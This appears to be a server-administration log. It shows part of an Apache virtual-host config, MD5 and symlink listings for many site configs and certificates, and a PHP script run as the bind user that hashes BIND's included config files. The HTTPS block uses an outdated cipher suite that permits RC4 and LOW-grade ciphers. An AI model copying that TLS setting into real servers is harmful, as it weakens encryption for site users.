        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vela/login_access.log combined
    ErrorLog	/var/log/apache2/vela/login_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	login.vela.work
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/58d509bc8051d01cd9d10836cb4779a8.crt
    DocumentRoot	/var/www/vela_login
    <Directory /var/www/vela_login>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vela/login_secure_access.log combined
    ErrorLog	/var/log/apache2/vela/login_secure_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>







(gzipped output)


MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/sites-available/croydonchurch_www_info.conf)= de5778253e92019758e42ba4bd5e8ed5
MD5(/etc/ssl/certs/0bcccb20615b0c7868de66072345a8b6.crt)= 4051f46761e3a7d9cd231674b9278365
MD5(/etc/apache2/sites-available/maminas_www_info.conf)= 9cc34fbadf9246b60a8c82e2f423c9e9
MD5(/etc/ssl/certs/aa64a65ef2076a4bf3eeaac96e0b38a2.crt)= 0b3c64eacd2158c4a9cec811266c1ec5
MD5(/etc/apache2/sites-available/carelinks_www_org-uk.conf)= 13c0ae8eb21eac468e9f6afba3bde463
MD5(/etc/ssl/certs/86cfc05b70ff27e9bd43265985e9e664.crt)= 37d2dcb56d3c7832bfafa4a729b3848d
MD5(/etc/apache2/sites-available/r-b-c_www_org.conf)= 28acf9b6c6c1defc473eee4d22d963a1
MD5(/etc/ssl/certs/86d2c41eb90f4cb26f05730c2abdf7ea.crt)= 3d6fa603798e7fc18d2ad72c43a6bc84
MD5(/etc/apache2/sites-available/carelinks-uk_www_org.conf)= 7698a6d27320f3dd439958b4cbb016b0
MD5(/etc/ssl/certs/50ea9c948624fd26b0aa34d6cc8b41c6.crt)= 593536907c22b2381a8a2587c48659ab
MD5(/etc/apache2/sites-available/vards_www_info.conf)= 3ab195fb7a9c9280f3f22c96e086f160
MD5(/etc/ssl/certs/5c147bca0a238ba09c5472db1d5debd9.crt)= f45df4bfe00e0fe851dc3b472b59d067
MD5(/etc/apache2/sites-available/persianchurch_www_info.conf)= f95a1e1b2c8674702c8e881dbd6f6102
MD5(/etc/ssl/certs/8eb6e7ad55f500c5383398213d6ce103.crt)= 51295f38861ad48c28fe92aee2eb7e50
MD5(/etc/apache2/sites-available/pjy_croydon_us.conf)= 86950bee017a51fa98cbc51c02d1dd62
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb)= c7d9274dbe104e2ca2940a1d9400aec8
MD5(/etc/apache2/sites-available/dalmenynaroomabushwalkers_www_info.conf)= 1480b663074fec483391ae597a5513ef
MD5(/etc/ssl/certs/65c19728b6c59b5ac40abac85aa0d8fa.crt)= 14b7bb4470ccea0634615a2b4db17359
MD5(/etc/apache2/sites-available/biblebasicsonline_www_com.conf)= f39a106d73153edb8da1df3e5bc1d7a6
MD5(/etc/ssl/certs/6826643b9e24e5e5121c4fe73657b282.crt)= 6f621d88492aa41de1094c11e543d284
MD5(/etc/apache2/sites-available/vela_login_work.conf)= 95b86fa5a9f50577c5b31b814391cb21
MD5(/etc/ssl/certs/58d509bc8051d01cd9d10836cb4779a8.crt)= 7f8bc5d06e6ba09c3ef3f38f4edc5709
MD5(/etc/apache2/sites-available/freebible_www_info.conf)= 5d9475b21ba2f9e0bbbae32738a7fbb9
MD5(/etc/ssl/certs/25d244ad83fcb448bd222b7039653b35.crt)= f1a24654ad9cda557cc9e01139ff6bd8
MD5(/etc/apache2/sites-available/christadelphian_www_video.conf)= 6c1775cfef88e9db37e5dcacef8c8f61
MD5(/etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt)= e5a5226d18999bde7a38a43c56054d36
MD5(/etc/apache2/sites-available/carelinksaustralia_www_info.conf)= bd4f1d092e6288ceb01fbd1a914e1ebb
MD5(/etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt)= d6e199f2a4d3863d3af40962bcaf8d07
MD5(/etc/apache2/sites-available/christadelphianfraternal_www_info.conf)= ea10c8b417de303fe2e11ff496867757
MD5(/etc/ssl/certs/b4498780588346731659d115ecf1bb4c.crt)= 2d661899eef3106c074dceecc8e3cc19
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= c202940d12afc709bc209702a23693a1
MD5(/etc/apache2/sites-available/hopeinstoughton_backup_org.conf)= d6dc9d43d121926a46faa5eec5bdcd92
MD5(/etc/ssl/certs/4190d696888bea52996fb61a0a63827a.crt)= 7b0d1f1ff576eb65313134d488a758c4
MD5(/etc/apache2/sites-available/osnowybiblii_www_info.conf)= e14143658423f8b0c73a4a18085300aa
MD5(/etc/ssl/certs/0e3e734dd08e3f9fefca36cd65718d9b.crt)= 89e5cf7198b6bf12aaf9bfa07881dd2e
MD5(/etc/apache2/sites-available/hostz_mars_org.conf)= 88f5f31beef6497b68a0b8c080aa1b3a
MD5(/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d)= e6793b5dec675b86d1ddb7df78c5dcbc
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
MD5(/etc/apache2/sites-available/realchrist_www_info.conf)= a6b7d2fd0d0f98cbf19ec30bb5a7ea7d
MD5(/etc/ssl/certs/8df29f43e5e79f1c31041f6ee4962ae9.crt)= d3be69f2f0a36d478413bc7830f813cf
MD5(/etc/apache2/sites-available/hopeinstoughton_media_org.conf)= 4d7d9c7a117fe73b85302c4606bc86a5
MD5(/etc/ssl/certs/761f20410d05cde2a6e96bdaa7145760.crt)= cb58d8a7f89e412fc58513e9580bfbe2
MD5(/etc/apache2/sites-available/bible-basics_www_info.conf)= 35d736d6ea8eac9bc27d8a77cf53c71d
MD5(/etc/ssl/certs/f032ab15fc1dc16ec38ee94209bcf74e.crt)= 27dc3c9248dffe4867c06ef996eee7da
MD5(/etc/apache2/sites-available/exjw_www_org-uk.conf)= 776235e1ea430b8c13c2c33d7a33deea
MD5(/etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt)= 6dc688f3b25a35b33c976d2e664a0540
MD5(/etc/apache2/sites-available/pjy_home_us.conf)= 44709beee68cd70545c41b15f7fd5233
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb)= c7d9274dbe104e2ca2940a1d9400aec8
MD5(/etc/apache2/sites-available/baptizo_www_info.conf)= 328a5caaad75a554798c5f1b364c0d94
MD5(/etc/ssl/certs/17284863e127d2ac83178e4d2ecd603a.crt)= 4ea3d095d4c7a21df93f97338b860d8d
link(/etc/apache2/sites-enabled/croydonchurch_www_info.conf)= /etc/apache2/sites-available/croydonchurch_www_info.conf
link(/etc/apache2/sites-enabled/maminas_www_info.conf)= /etc/apache2/sites-available/maminas_www_info.conf
link(/etc/apache2/sites-enabled/000-hostz_mars_org.conf)= /etc/apache2/sites-available/hostz_mars_org.conf
link(/etc/apache2/sites-enabled/carelinks_www_org-uk.conf)= /etc/apache2/sites-available/carelinks_www_org-uk.conf
link(/etc/apache2/sites-enabled/r-b-c_www_org.conf)= /etc/apache2/sites-available/r-b-c_www_org.conf
link(/etc/apache2/sites-enabled/carelinks-uk_www_org.conf)= /etc/apache2/sites-available/carelinks-uk_www_org.conf
link(/etc/apache2/sites-enabled/vards_www_info.conf)= /etc/apache2/sites-available/vards_www_info.conf
link(/etc/apache2/sites-enabled/persianchurch_www_info.conf)= /etc/apache2/sites-available/persianchurch_www_info.conf
link(/etc/apache2/sites-enabled/pjy_croydon_us.conf)= /etc/apache2/sites-available/pjy_croydon_us.conf
link(/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf)= /etc/apache2/sites-available/dalmenynaroomabushwalkers_www_info.conf
link(/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf)= /etc/apache2/sites-available/biblebasicsonline_www_com.conf
link(/etc/apache2/sites-enabled/vela_login_work.conf)= /etc/apache2/sites-available/vela_login_work.conf
link(/etc/apache2/sites-enabled/freebible_www_info.conf)= /etc/apache2/sites-available/freebible_www_info.conf
link(/etc/apache2/sites-enabled/christadelphian_www_video.conf)= /etc/apache2/sites-available/christadelphian_www_video.conf
link(/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf)= /etc/apache2/sites-available/carelinksaustralia_www_info.conf
link(/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf)= /etc/apache2/sites-available/christadelphianfraternal_www_info.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf)= /etc/apache2/sites-available/hopeinstoughton_backup_org.conf
link(/etc/apache2/sites-enabled/osnowybiblii_www_info.conf)= /etc/apache2/sites-available/osnowybiblii_www_info.conf
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/realchrist_www_info.conf)= /etc/apache2/sites-available/realchrist_www_info.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf)= /etc/apache2/sites-available/hopeinstoughton_media_org.conf
link(/etc/apache2/sites-enabled/bible-basics_www_info.conf)= /etc/apache2/sites-available/bible-basics_www_info.conf
link(/etc/apache2/sites-enabled/exjw_www_org-uk.conf)= /etc/apache2/sites-available/exjw_www_org-uk.conf
link(/etc/apache2/sites-enabled/pjy_home_us.conf)= /etc/apache2/sites-available/pjy_home_us.conf
link(/etc/apache2/sites-enabled/baptizo_www_info.conf)= /etc/apache2/sites-available/baptizo_www_info.conf




STDERR:
/tmp/pkp542722:12: SyntaxWarning: invalid escape sequence '\s'
  match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)


2026-06-19 11:26:13: Establishing a connection
2026-06-19 11:26:13: 

PUT: /tmp/pkp386740

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-06-19 11:26:13: 

runuser -l bind -s /bin/bash -c '/tmp/pkp386740; rm /tmp/pkp386740'

2026-06-19 11:26:13: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= f528c9aa02ebb4638264fc82862875f3
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
